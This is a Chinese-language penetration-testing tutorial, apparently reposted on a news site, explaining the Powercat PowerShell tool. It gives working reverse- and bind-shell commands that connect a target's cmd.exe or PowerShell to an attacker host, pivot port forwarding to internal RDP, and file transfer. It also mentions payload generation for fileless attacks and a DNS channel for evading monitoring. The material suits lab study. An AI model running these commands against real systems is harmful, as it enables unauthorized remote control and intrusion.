当前位置: 首页 > news >正文

Powercat PowerShell工具:原理详解+使用方法+渗透实战

目录

一、Powercat工具

1、基本参数

2、工作原理

(1) 网络流 (Stream 1)

(2)输入/输出流 (Stream 2)

3、使用指南

二、反弹Shell (Reverse Shell)渗透实战

1、攻击机 (Kali) - 监听:

2、目标机 (Windows靶机) - 连接并执行cmd

(1)绑定cmd环境

(2)绑定PowerShell环境

(3)区别

(4)解决乱码问题

三、正向Shell渗透实战

1、Windows 端启动 powercat 正向监听

2、Kali 端用 nc 连接 Windows

四、高级用法

1、端口转发

2、文件传输


本文讲解Powercat工具的原理和使用方法,包括反弹shell,正向shell,以及端口转发和传输文件的渗透实战。

一、Powercat工具

PowerCat是经典网络工具 Netcat 的 PowerShell 实现版和增强版,集成了网络连接、数据传输、反向 / 正向 Shell、端口转发等功能,因完全基于 PowerShell 脚本实现,在 Windows 环境中无需额外依赖即可运行,常被用于渗透测试和网络调试。

1、基本参数

  • -c <IP>: 客户端模式。连接到攻击者控制的监听IP。用于反弹Shell。

  • -l: 监听模式。在目标上开启一个端口等待连接。用于绑定Shell或端口转发。

  • -p <PORT>: 指定端口。

  • -e <PROCESS>: 执行。指定要启动的进程,并将其输入/输出与网络流连接。例如 -e cmd.exe

  • -ep: 执行PowerShell。启动一个伪PowerShell会话。

  • -r <protocol:ip:port>: 中继模式。核心功能之一。实现端口转发。例如将本地8000端口的流量转发到10.1.1.1的9000端口:-r tcp:10.1.1.1:9000

  • -u: 使用UDP协议而非TCP。

  • -dns <DOMAIN>: 使用 dnscat2 进行DNS隐蔽信道通信,绕过网络监控。

  • -i <INPUT>: 输入。可用于文件传输(如 -i file.txt)。

  • -g / -ge: 生成Payload。极其重要的功能。返回一段能实现指定功能的PowerShell代码或Base64编码的命令。用于制作一句话木马无文件攻击

2、工作原理

powercat 的核心是一个 双向数据流中继,它在两个“流”(Stream)之间建立通道并转发数据。根据参数的不同,这两个流可以是多种东西的组合,从而实现各种功能。powercat 通过灵活组合 Stream 1 和 Stream 2,实现了极其丰富的功能。

flowchart LRA[网络流<br>Stream 1] <---> C[PowerCat<br>核心中继引擎]C <---> B[输入/输出流<br>Stream 2]subgraph A_source [Stream 1: 网络端点]direction LRA1[TCP客户端]A2[TCP服务端]A3[UDP客户端]A4[UDP服务端]A5[DNS客户端]endsubgraph B_source [Stream 2: 数据端点]direction LRB1[控制台<br>Console]B2[系统进程<br>e.g. cmd.exe]B3[PowerShell<br>引擎]B4[另一个网络中继<br>Relay]endA1 --> AA2 --> AA3 --> AA4 --> AA5 --> AB --> B1B --> B2B --> B3B --> B4

(1) 网络流 (Stream 1)

这是与外部通信的通道,可以是:

  • TCP Client/Server: 连接或监听指定IP和端口。

  • UDP Client/Server: 发送或接收UDP数据包。

  • DNS Client: 使用 dnscat2 协议通过DNS查询与服务器进行隐蔽通信。

(2)输入/输出流 (Stream 2)

这是数据处理的终点或起点,可以是:

  • Console (控制台): 与用户交互,显示收到的数据,并发送用户输入的数据。

  • Process (进程): 将一个本地进程(如 cmd.exe)的输入/输出与网络流绑定。这就是反弹Shell的实现方式。

  • PowerShell Engine: 提供一个伪PowerShell环境,可以执行PS命令。

  • 另一个 Network Relay (网络中继): 将两个网络连接起来,实现端口转发或协议转换(如TCP转DNS)。

3、使用指南

PowerCat 是一个纯 PowerShell 编写的网络工具,集成了 Netcat 的功能并增加了大量渗透测试特性。从 GitHub 仓库下载并将保存到本地,Github仓库地址如下所示。

https://github.com/besimorhino/powercat

在 PowerShell 中进入脚本所在目录,执行导入模块。

. .\powercat.ps1  # 注意两个点之间的空格

导入成功后,即可直接使用 powercat 命令,下图为执行powercat -h的效果,该命令的含义是使用 -h 参数查看完整的帮助信息。

二、反弹Shell (Reverse Shell)渗透实战

1、攻击机 (Kali) - 监听

用于在本地主机的 4444 端口 启动一个TCP 监听器,其参数含义为:-n禁用域名解析(仅使用IP),-v 启用详细输出(显示连接信息),-l 进入监听模式(作为服务器),-p 4444 指定监听的端口号。执行后,该终端会挂起并等待一个传入的 TCP 连接,一旦有客户端(例如受害主机)连接上来,它会立即建立一个原始的网络通信通道,通常用于接收反向Shell、进行文件传输或简单的网络调试。

​nc -nvlp 4444

2、目标机 (Windows靶机) - 连接并执行cmd

(1)绑定cmd环境

假设攻击机Kali的ip地址为192.168.59.128,该命令用于在目标机器上发起反向 TCP 连接并绑定 cmd 进程。其中,-c 192.168.59.1 28指定连接的目标 IP 为 192.168.59.128,-p 4444 设定目标端口为 4444,-e cmd.exe 表示将本地的 cmd 命令行进程与该网络连接绑定。执行后,目标机器会主动连接 192.168.59.128 的 4444 端口,若对方已在该端口启动监听(如 powercat -l -p 4444),则攻击者可通过监听窗口直接执行 cmd 命令(如查看文件、修改系统配置等),实现对目标机器的远程控制。此命令常用于渗透测试中突破防火墙出站限制,建立反向 Shell 通道。

powercat -c 192.168.59.128 -p 4444 -e cmd.exe

此时kali中已成功建立shell连接,如下所示。

(2)绑定PowerShell环境

假设攻击机Kali的ip地址为192.168.59.128,该命令用于发起反向 TCP 连接并启动伪 PowerShell 会话。其中,-c 192.168.59.1 28指定连接的目标 IP 为 192.168.59.128,-p 4444 设定目标端口为 4444;-ep 是 ExecutePowershell 的缩写,作用是将本地的 PowerShell 环境与网络连接绑定,而非普通 cmd 进程。执行后,目标机器会连接 192.168.59.128 的 4444 端口,攻击者在监听端可获得一个交互式 PowerShell 会话,支持 PowerShell 特有的命令和脚本执行(如管理 Windows 服务、操作注册表等)。相比普通 cmd 反向 Shell,该命令提供了更强大的 PowerShell 环境,适合需要利用 PowerShell 功能进行内网渗透或复杂操作的场景。

# 使用编码器(-e)执行powershell
powercat -c 192.168.59.128 -p 4444 -ep

此时kali中已成功建立shell连接,如下所示。

(3)区别

powercat -c 192.168.59.128 -p 4444 -e cmd.exe 与 powercat -c 192.168.59.128 -p 4444 -ep 两个命令的核心区别如下表所示。

对比项-e cmd.exe -ep
绑定的交互环境Windows 传统 CMD 命令行环境PowerShell 脚本环境
支持的命令集仅支持 CMD 原生命令(如 diripconfig支持 PowerShell 特有命令(如 Get-ChildItemInvoke-Command)及 CMD 命令
功能扩展能力无高级脚本或模块支持,功能基础可加载 PowerShell 模块、执行脚本、调用 .NET 类库,支持管道 / 对象处理
适用场景快速获取基础命令行控制,或目标限制 PowerShell 时需要复杂操作(如内网横向、注册表管理、脚本执行)的渗透场景
权限与特性依赖不依赖 PowerShell 执行策略依赖 PowerShell 执行权限,可利用其原生权限控制和扩展机制

(4)解决乱码问题

在kali中执行命令(无论是cmd还是powershell)时会有乱码现象,比如输入ipconfig打印如下所示,出现多个问号,乱码的根源是内容编码与控制台解码方式不一致。

chcp 65001 是 Windows 命令提示符(CMD)中的编码切换命令,作用是将当前控制台的活动代码页设置为 UTF-8 编码(代码页 65001 对应 UTF-8 标准)。执行后,控制台可正确显示或输入包含中文、日文、特殊符号等的 Unicode 字符,解决默认编码(如 GBK,代码页 936)下的字符乱码问题。

三、正向Shell渗透实战

1、Windows 端启动 powercat 正向监听

目标靶机windows系统(192.168.59.1)以管理员身份打开 PowerShell,执行以下命令。含义是在运行此命令的 Windows 机器上,打开 5555 端口进行监听。当有任何客户端(例如攻击者的机器)连接到这个端口时,目标机器会自动创建一个 cmd.exe 进程,并将其标准输入/输出重定向到网络连接上。这样,攻击者就获得了该目标机器的一个远程命令行 Shell。

# 导入 powercat 模块(假设脚本在当前目录)
. .\powercat.ps1  
# 在 5555 端口启动正向监听,绑定 cmd 进程
powercat -l -p 5555 -e cmd.exe -v 
参数含义作用
powercatPowerShell 版的 Netcat主要工具
-l监听模式使目标机器等待连接
-p 5555指定端口 5555定义通信的通道
-e cmd.exe执行 cmd.exe提供连接成功后要交互的 Shell
-v详细输出显示连接状态,便于调试

2、Kali 端用 nc 连接 Windows

打开攻击机 Kali (192.168.59.128)终端,执行以下命令。

nc -vv 192.168.59.1 5555  
  • nc: 这是 Netcat 的命令,被称为网络工具的“瑞士军刀”。它用于读写网络连接。在这个语境中,它被用作客户端来发起一个 TCP 连接。

  • -vv (或 -v -v)**: 非常详细 (Very Verbose) 模式。

    • 第一个 -v 会输出一些基本连接信息。

    • 第二个 -v 会提供更详细的调试信息,例如尝试连接的详细过程。

    • 使用 -vv 可以让你清楚地看到连接是否成功、在哪里失败,非常适合调试。

  • 192.168.59.1: 这是 目标机器的 IP 地址。这是命令中最关键的部分,它告诉 nc 要去连接哪一台计算机。

    • 在这个例子中,192.168.59.1 就是运行了 powercat -l -p 5555 -e cmd.exe 的那台机器(受害者或目标服务器)。

  • 5555: 这是 目标端口。它指定了要连接的目标机器上的哪个端口。

    • 这个端口必须与目标机器上 powercat 监听器所使用的端口(-p 5555完全一致,连接才能成功。

此时查看kali,从攻击者当前所在的机器kali,向 IP 地址为 192.168.59.1 的机器的 5555 端口发起一个 TCP 网络连接。如下所示连接成功,攻击者就会获得一个与目标机器 cmd.exe 交互的 Shell。

这时会看受害目标靶机,效果如下所示,连接建立成功。

四、高级用法

1、端口转发

如下命令用于在跳板机本地启动端口转发,实现将本机 8000 端口的流量转发到目标主机的 RDP 端口,具体如下所示。

# 监听本机8000端口,将所有流量转发到192.168.2.10的3389端口(RDP)
powercat -l -p 8000 -r tcp:192.168.2.10:3389 -v
  • -l -p 8000:在本机的 8000 端口启动监听模式,接收外部发送到 8000 端口的流量。
  • -r tcp:192.168.2.10:3389:将监听端口(8000)接收的所有流量,通过 TCP 协议转发到目标主机 192.168.2.10 的 3389 端口(RDP 远程桌面默认端口)。
  • -v:启用详细输出模式,显示连接建立、数据转发等过程信息,方便调试和确认转发状态。

执行后,外部设备连接本机 8000 端口的流量会被自动转发到 192.168.2.10:3389,可间接实现对目标主机的 RDP 远程访问(需目标主机开启 RDP 服务)。也就是说,攻击者连接 跳板机IP:8000 就等于连接了内网主机 192.168.2.10:3389。

2、文件传输

使用 powercat 进行文件传输可通过 “监听端接收 + 客户端发送” 的模式实现,支持 TCP 协议,操作简单且无需额外工具。场景:从机器 A(发送方)向机器 B(接收方)传输文件,如下所示。

  • 接收方(机器 B)IP:192.168.1.100,监听端口:8888
  • 发送方(机器 A)需传输的文件:C:\data\file.txt

步骤 1:在接收方(机器 B)启动监听并准备接收文件

powercat -l -p 8888 -of C:\received\output.txt -v  
  • -l -p 8888:在 8888 端口启动监听
  • -of C:\received\output.txt:将接收的内容保存到指定文件(需确保路径存在)
  • -v:显示详细传输信息(可选)

步骤 2:在发送方(机器 A)连接并发送文件

powercat -c 192.168.1.100 -p 8888 -if C:\data\file.txt -v  
  • -c 192.168.1.100 -p 8888:连接接收方的 IP 和端口
  • -if C:\data\file.txt:指定要发送的文件路径
  • -v:显示传输进度(可选)

传输完成后,在接收方的 C:\received\output.txt 中查看文件内容,确认与发送方的 file.txt 一致。

http://www.xdnf.cn/news/1371727.html

相关文章:

  • C语音初阶————指针2
  • 小范围疫情防控元胞自动机模拟matlab
  • 用 Allure 生成 pytest 测试报告:从安装到使用全流程
  • 【项目】深房数据通——深圳房价可视化系统
  • 数字时代下的智能信息传播引擎
  • Python大型数组计算完全指南:从基础到分布式系统实践
  • 简明 | ResNet特点、残差模块、残差映射理解摘要
  • Cherry-pick冲突与Git回滚
  • Nginx Ubuntu vs CentOS 常用命令对照表---详解笔记
  • 手机移动代理IP:使用、配置、维护的10问10答
  • 数据集数量与神经网络参数关系分析
  • 如果 我退休了
  • 身份管理与安全 (Protect identities)
  • Firefox Relay 体验
  • Java大厂面试实战:从Spring Boot到微服务架构的全链路技术解析
  • RCC_APB2PeriphClockCmd
  • GaussDB 数据库架构师修炼(十八) SQL引擎-计划管理-SPM
  • 18、移动应用系统分析与设计
  • 机器人 - 无人机基础(6) - 状态估计(ing)
  • 余承东:鸿蒙智行累计交付突破90万辆
  • 算法-每日一题(DAY15)用队列实现栈
  • 算法练习——26.删除有序数组中的重复项(golang)
  • Swift 解法详解 LeetCode 363:矩形区域不超过 K 的最大数值和
  • Spring Bean 生命周期高阶用法:从回调到框架级扩展
  • Java基础第5天总结(final关键字,枚举,抽象类)
  • CVPR自适应卷积的高效实现:小核大感受野提升复杂场景下图像重建精度
  • vue新增用户密码框自动将当前用户的密码自动填充的问题
  • 高校党建系统设计与实现(代码+数据库+LW)
  • 嵌入式配置数据序列化:自定义 TLV vs nanopb
  • 深度学习篇---LeNet-5